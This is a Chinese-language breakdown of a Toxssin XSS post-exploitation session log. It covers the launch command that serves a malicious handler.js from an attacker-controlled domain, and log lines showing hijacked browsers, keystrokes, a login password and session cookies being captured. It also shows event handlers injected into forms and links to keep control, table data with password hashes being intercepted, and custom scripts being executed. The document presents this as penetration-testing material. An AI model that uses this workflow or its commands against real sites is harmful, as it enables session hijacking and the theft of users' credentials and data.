Toxssin 在 XSS 后利用渗透测试中的完整实战日志，核心展示了工具从 “启动→劫持会话→窃取数据→自定义攻击” 的全流程，以下是详细分析：

一、工具启动与环境配置

bash

运行

./toxssin.py -u https://toxssin.com -c /etc/letsencrypt/live/toxssin.com/fullchain.pem -k /etc/letsencrypt/live/toxssin.com/privkey.pem

• 配置说明：
  • 指定了公网域名toxssin.com作为恶意脚本（handler.js）的分发地址；
  • 使用 Let’s Encrypt 的可信 SSL 证书（fullchain.pem/privkey.pem），避免浏览器拦截外部脚本。

二、会话劫持与初始攻击

plaintext

[11:00:01] [Request] Received XSS GET request for handler.js. MITM attack launched against victim's browser!

• 关键行为：目标浏览器触发 XSS 漏洞，加载了 Toxssin 的handler.js，工具立即启动中间人攻击（MITM），接管目标浏览器的请求 / 响应。
• 捕获的基础信息：目标 IP（37.247.59.189）、来源站点（https://thisisvuln.space）、浏览器信息（Firefox 91.0）。

三、数据窃取：表单 / 键盘 / 会话凭证

1. 键盘输入与表单数据：

   plaintext

   [11:00:02] [Keystroke] [Body] Tab
   [11:00:05] [Input-Value-Changed] [Type: text] [Name: uname] admin
   [11:00:10] [Input-Value-Changed] [Type: password] [Name: passwd] Sup3rS3cr3t
   

   • Toxssin 注入了oninput事件监听，实时捕获目标的键盘输入（包括 Tab 键），窃取到用户名admin、密码Sup3rS3cr3t。

2. Cookie 会话凭证：

   plaintext

   [11:00:02] [Cookie] TOXSESSIONID=19a8e318a0474677a843cae60a7baa98
   

   • 捕获目标的会话 Cookie，可直接用于伪造身份登录。

3. 表单提交拦截：

   plaintext

   [11:00:18] [Form-Submission-Intercepted]
   Action: https://thisisvuln.space/login?uname=admin...
   

   • 拦截了目标的登录表单提交请求，完整记录了请求 URL、方法（POST）、数据，可用于后续重放攻击。

四、持久化控制与全量数据窃取

1. 页面元素注入（持久化）：

   plaintext

   [11:01:29] [Info] 108 x forms were identified and injected with "submit" event JavaScript poison.
   [11:01:29] [Info] 33 x (hashless) links were identified and injected with "click" event JavaScript poison.
   

   • Toxssin 自动识别页面中的表单、链接，注入submit/click事件监听，实现XSS 持久化：目标点击链接、提交表单时，仍会保持与 Toxssin 的连接，不会丢失控制。

2. 表格数据拦截：

   plaintext

   [11:01:29] [Table-Data-Intercepted] Table data (Received via POST request):
   

   • 拦截了目标页面的表格数据（用户列表），包含id、Username、Fullname、Password hash、Roles等敏感信息（如admin的角色是 “Entry Manager, Project Leader, Admin”），并将数据本地保存。

五、自定义脚本执行（高级攻击）

plaintext

toxssin > exec /root/scar.js active
[21:55:55] [Custom Script Exec] Script /root/scar.js executed without error(s). Output: Scar transformation completed!

toxssin > exec /root/test.js active
[21:57:43] [Custom Script Exec] Script /root/test.js executed with error(s). Output: SyntaxError: return not in function

• Toxssin 支持执行自定义 JavaScript 脚本（通过exec命令），可实现更复杂的攻击（如页面篡改、钓鱼弹窗）；
• 示例中scar.js执行成功，test.js因语法错误执行失败，工具会返回脚本输出 / 错误信息。

六、数据本地存储

所有窃取的数据（表单、响应、表格）都被保存到本地目录：

plaintext

Saved in /root/.local/toxssin/2022-06-16/thisisvuln.space/37.247.59.189_1655370001.078421/...

• 按 “日期 + 目标站点 + IP” 分类存储，便于后续分析。

总结：Toxssin 的核心能力

这些日志完整体现了 Toxssin 的三大核心价值：

1. 全维度数据窃取：覆盖键盘、表单、Cookie、页面内容；
2. XSS 持久化：通过注入页面元素事件，维持长期控制；
3. 自定义攻击：支持执行任意 JS 脚本，拓展攻击场景。

这是典型的XSS 后利用实战流程，适用于渗透测试中验证漏洞危害、获取目标敏感信息的环节。